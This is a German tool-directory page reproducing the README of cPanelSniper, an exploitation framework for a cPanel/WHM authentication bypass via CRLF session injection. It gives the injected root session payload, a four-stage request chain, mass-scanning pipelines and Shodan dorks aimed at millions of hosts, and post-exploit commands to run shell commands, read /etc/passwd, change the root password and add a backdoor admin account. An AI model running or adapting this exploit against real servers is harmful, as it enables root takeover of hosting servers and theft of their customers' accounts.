Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cpsniper — cPanelSniper STABLE - CVE-2026-41940 optimiert für 10M+ Ziele | Kitploit
Tools/GitHubGitHub/44pie/cpsniper
Authentifizierung & AutorisierungSchwachstellenscannerExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsCommand and ControlRed Teaming
GitHub44pie/cpsniper

cpsniper

cPanelSniper STABLE - CVE-2026-41940 optimiert für 10M+ Ziele

Repository anzeigen
2vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection
4-stufige Exploit-Kette · Interaktive WHM-Shell · TRUE STABLE für 10M+ Ziele · Null Speichernutzung · nur stdlib


Übersicht

cPanelSniper ist ein fokussiertes Exploitation-Framework für CVE-2026-41940, eine kritische Authentifizierungs-Bypass-Schwachstelle, die cPanel & WHM betrifft. Die Schwachstelle ermöglicht es nicht authentifizierten Remote-Angreifern, Root-Zugriff auf WHM zu erlangen, indem CRLF-Sequenzen über den Authorization-HTTP-Header in die Session-Datei injiziert werden — ohne gültige Anmeldedaten.

  • CVSS-Score: 10.0 (Kritisch)
  • Exploitation in freier Wildbahn: Bestätigt (April 2026)
  • Betroffene Installationen: ~70 Millionen Domains mit cPanel & WHM
  • Keine Abhängigkeiten: Reine Python-stdlib — kein pip, kein requests, keine externen Pakete

Nur für autorisierte Penetrationstests und Bug-Bounty-Programme.


⚡ TRUE STABLE VERSION

Diese Version ist für das Scannen von 10.000.000+ Zielen mit NULL Speichernutzung optimiert.

Was behoben wurde

Hauptfunktionen

  • Streaming-Architektur - Verarbeitet 10M+ Ziele ohne Laden in den Speicher
  • Keine OOM-Abstürze - Selbst bei sehr großen Ziellisten
  • Auto-Resume - Fortsetzen mit --resume an der Stelle, an der Sie aufgehört haben
  • Echtzeit-Fortschritt - ETA, Scan-Rate, Fehlerverfolgung
  • Periodische Speicherung - Ergebnisse werden automatisch gespeichert, um Datenverlust zu verhindern
  • Pipeline-fähig - Funktioniert nahtlos mit subfinder, httpx, shodan

So funktioniert es

Die Ursache liegt in Session.pm: Die Funktion saveSession() ruft filter_sessiondata() nach dem Schreiben der Session-Datei auf die Festplatte auf. Das bedeutet, dass CRLF-Zeichen, die im Wert des Authorization: Basic-Headers eingebettet sind, unverändert in die Session-Datei geschrieben werden und angreiferkontrollierte Felder vor der Bereinigung injizieren.

root@kitploit:~
Normaler Ablauf:
  POST /login/ → filter_sessiondata() → Session schreiben → Auth-Check

Verwundbarer Ablauf:
  POST /login/ → Session schreiben (CRLF-Payload injiziert) → filter_sessiondata() → Auth-Check liest vergiftete Datei

Die CRLF-Payload

Der Authorization: Basic-Wert wird dekodiert zu:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Diese Felder werden direkt in die Session-Datei auf der Festplatte geschrieben. Beim Zurücklesen behandelt cPanel die Session als vollständig authentifizierte Root-Session.

4-stufige Exploit-Kette

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  Stufe 0 — Kanonische Hostname-Erkennung                    │
│  GET /openid_connect/cpanelid → 307 → echter Hostname       │
├─────────────────────────────────────────────────────────────┤
│  Stufe 1 — Preauth-Session erzeugen                         │
│  POST /login/?login_only=1  (falsche Anmeldedaten)          │
│  ← 401 + whostmgrsession-Cookie                             │
├─────────────────────────────────────────────────────────────┤
│  Stufe 2 — CRLF-Injektion                                   │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd schreibt CRLF-Felder in die Session-Datei           │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Stufe 3 — Propagieren (do_token_denied-Gadget)             │
│  GET /scripts2/listaccts                                    │
│  Löst raw→cache-Flush aus — injizierte Felder werden aktiv  │
│  ← 401 Token denied (erwartet)                              │
├─────────────────────────────────────────────────────────────┤
│  Stufe 4 — WHM-Root-Zugriff verifizieren                    │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = PWNED          │
└─────────────────────────────────────────────────────────────┘

Betroffene Versionen


Installation

root@kitploit:~
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help

Keine pip-Installation erforderlich. Nur reine Python-3.8+-stdlib.


Verwendung

Grundlegender Scan

root@kitploit:~
# Einzelnes Ziel — nur scannen
python3 cPanelSniper.py -u https://target.com:2087

# Einzelnes Ziel — interaktive Shell nach dem Bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Große Zielliste — 10M+ Ziele (TRUE STABLE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Unterbrochenen Scan fortsetzen
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

Post-Exploit-Aktionen

root@kitploit:~
# Alle cPanel-Konten auf dem Server auflisten
python3 cPanelSniper.py -u https://target.com:2087 --action list

# OS-Befehl ausführen
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Serverinformationen abrufen (Hostname, Last, Festplatte, MySQL-Host)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# cPanel-Version abrufen
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Root-Passwort ändern
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Interaktive WHM-Shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Pipelines (TRUE STABLE für große Listen)

root@kitploit:~
# subfinder → httpx → in Datei speichern → 10M+ Ziele scannen
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Aus Scope-Liste - Millionen von Domains verarbeiten
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

# Shodan-Ergebnisse - massiver Scan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json

# stdin-Pipe - nur für kleine Listen (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py

# Mehrere Quellen kombiniert → großflächiger Scan
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume

TRUE STABLE Best Practices

Für das Scannen von 10M+ Zielen:

  1. Immer zuerst in eine Datei speichern - Für große Listen nicht direkt pipen

    root@kitploit:~
    # GUT - funktioniert mit 10M+ Zielen
    httpx ... > targets.txt
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
    
    # SCHLECHT - stürzt bei großen Listen ab
    httpx ... | python3 cPanelSniper.py
    
  2. Angemessene Thread-Anzahl verwenden

    • 10-20 Threads: 100K Ziele
    • 30-50 Threads: 1M-10M Ziele
    • 50-100 Threads: 10M+ Ziele
  3. Auto-Resume für lange Scans aktivieren

    root@kitploit:~
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
    

    Bei Unterbrechung einfach mit --resume erneut ausführen

  4. Fortschritt überwachen

    • Echtzeit-ETA wird angezeigt
    • Ergebnisse werden alle 60 Sekunden gespeichert
    • Ctrl+C bewahrt alle Funde

Interaktive WHM-Shell

Nach einem erfolgreichen Bypass öffnet das Flag --action shell eine interaktive Eingabeaufforderung:

root@kitploit:~
════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Version: CVE-2026-41940 | Auth: CRLF bypass
  Tippe 'help' für Befehle, 'exit' zum Beenden
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [cPanel-Konten]  target.com:2087 (47 Benutzer)
    user01               domain: example.com    email: [email protected]
    user02               domain: shop.com       email: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [Server-Info]  https://target.com:2087
  hostname: srv01.target.com
  load: 0.72 / 0.66 / 0.69
  version: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [BACKDOOR-ADMIN ERSTELLT]
  Ziel     : https://target.com:2087
  Benutzer : mitsec
  Passwort : P@ss2026!
  Profil   : super_admin

[email protected] ▶ exit

Shell-Befehle


CLI-Referenz

root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--resume]
                       [-o OUTPUT] [--no-color] [--save-interval N]

Ziel:
  -u, --url URL          Einzelne Ziel-URL (z. B. https://host:2087)
  -l, --list LIST        Datei mit URLs (eine pro Zeile)
  --hostname HOSTNAME    Kanonischen Host-Header überschreiben (automatisch erkannt)

Scan:
  -t, --threads N        Parallele Threads (Standard: 20)
  --timeout N            Request-Timeout in Sekunden (Standard: 15)
  --resume               Vorherigen Scan fortsetzen (verarbeitete Ziele überspringen)

Ausgabe:
  -o, --output FILE      Ergebnisse in JSON-Datei speichern
  --no-color             ANSI-Farben deaktivieren
  --save-interval N      Ergebnisse alle N Sekunden speichern (Standard: 60)

Shodan-Dorks

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

Ausgabebeispiel

root@kitploit:~
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection
  4-stufig: preauth → CRLF inject → propagate → verify → post-exploit
  In-The-Wild | CVSS 10.0 | Von Mitsec (@ynsmroztas)

  Konfiguration:
   Ziele    : 1
   Threads  : 10
   Timeout  : 15s
   Aktion   : list

14:46:22 [SCAN] Starte 4-stufige Exploit-Kette... https://target.com:2087
14:46:23 [INFO] Kanonischer Hostname erkannt: srv01.target.com
14:46:23 [STEP] Stufe 1/4 — Erzeuge Preauth-Session...
14:46:23 [  OK] Stufe1: preauth session = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Stufe 2/4 — CRLF-Injektion über Authorization-Header...
14:46:24 [  OK] Stufe2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Stufe 3/4 — do_token_denied-Gadget auslösen (raw→cache)...
14:46:25 [  OK] Stufe3: HTTP 401 — do_token_denied-Gadget ausgelöst
14:46:25 [STEP] Stufe 4/4 — WHM-Root-Zugriff verifizieren...
14:46:26 [PWND] CVE-2026-41940 BESTÄTIGT — WHM-Root-Zugriff!
14:46:26 [PWND]   Token    : /cpsess8493537756
14:46:26 [PWND]   Version  : 11.130.0.6
14:46:26 [PWND]   API-URL  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Führe Post-Exploit-Aktion aus: list
14:46:27 [ API] listaccts → HTTP 200

  [cPanel-Konten]  target.com:2087 (47 Konten)
    client01    domain: client01.com    email: [email protected]
    client02    domain: client02.net    email: [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — Scan abgeschlossen
  Zeit: 5.8s  ·  Ziele: 1

  ⚡ 1 VERWUNDBARES ZIEL

  Ziel     : https://target.com:2087
  Version  : 11.130.0.6
  Token    : /cpsess8493537756
  API-URL  : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

Technische Details

Session-Datei-Injektion

Der injizierte Authorization: Basic-Wert (base64-dekodiert) enthält CRLF-Sequenzen, die zu Zeilenumbrüchen in der cPanel-Session-Datei werden:

root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

Der Session-Reader von cPanel parst diese als legitime Session-Felder und gewährt vollen Root-WHM-Zugriff.

Stufe 3 — Das do_token_denied-Gadget

Der kritische und oft übersehene Schritt: Nach der CRLF-Injektion (Stufe 2) existieren die vergifteten Session-Daten nur in der rohen Session-Datei. Eine Anfrage an /scripts2/listaccts löst den internen do_token_denied-Handler aus, der die rohen Session-Daten in den Session-Cache spült. Ohne diesen Flush würde Stufe 4 einen 403 zurückgeben.

Session-Token-Extraktion

root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- ob hash (entfernt)
                              +-- Session-Name (für Injektion verwendet)

Der Session-Name (vor %2C) wird extrahiert und als Cookie-Wert für nachfolgende Anfragen verwendet.


Referenzen

  • watchTowr Labs — CVE-2026-41940 Technische Analyse
  • cPanel Security Advisory
  • NVD — CVE-2026-41940
  • Hadrian Blog — CVE-2026-41940 Analyse
  • Nuclei-Template — CVE-2026-41940

Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitstests und Bug-Bounty-Programme bestimmt. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung und ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden. Holen Sie immer eine ordnungsgemäße schriftliche Autorisierung ein, bevor Sie testen.


Autor

Mitsec — @ynsmroztas

  • 🏆 Top-Hacker — Intigriti
  • 🐛 2.430+ offengelegte Schwachstellen
  • 💀 1.100+ P1-Kritische-Funde
  • 🏅 100+ Hall-of-Fame-Anerkennungen

Mit ❤️ erstellt von @ynsmroztas

Tool herunterladen
ProblemOriginalversionBehobene Version
SpeichernutzungLädt alle Ziele in den RAMStreamt Ziele zeilenweise (0 Speicher)
10M ZieleOOM → Beendet ❌Wird erfolgreich abgeschlossen ✅
FortsetzenNicht unterstützt--resume-Flag
FortschrittKeine ETAEchtzeit-ETA + Rate + Statistiken
ErgebnisseNur am Ende gespeichertAlle 60s gespeichert (konfigurierbar)
BranchVerwundbarGepatcht
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5
BefehlBeschreibung
id / whoamiUID und Hostname anzeigen
hostnameServer-Hostname abrufen
versioncPanel-Versionsinfo
infoLast, Festplatte, MySQL-Host, Version
accountsAlle cPanel-Benutzerkonten auflisten
cat <path>Dateiinhalt lesen
ls [path]Verzeichnis auflisten
exec <cmd>OS-Befehl ausführen
addadmin <user> <pass>Backdoor-WHM-Admin erstellen
passwd <pass>Root-Passwort ändern
api <endpoint> [k=v ...]Roher WHM-JSON-API-Aufruf
helpAlle Befehle anzeigen
exitShell beenden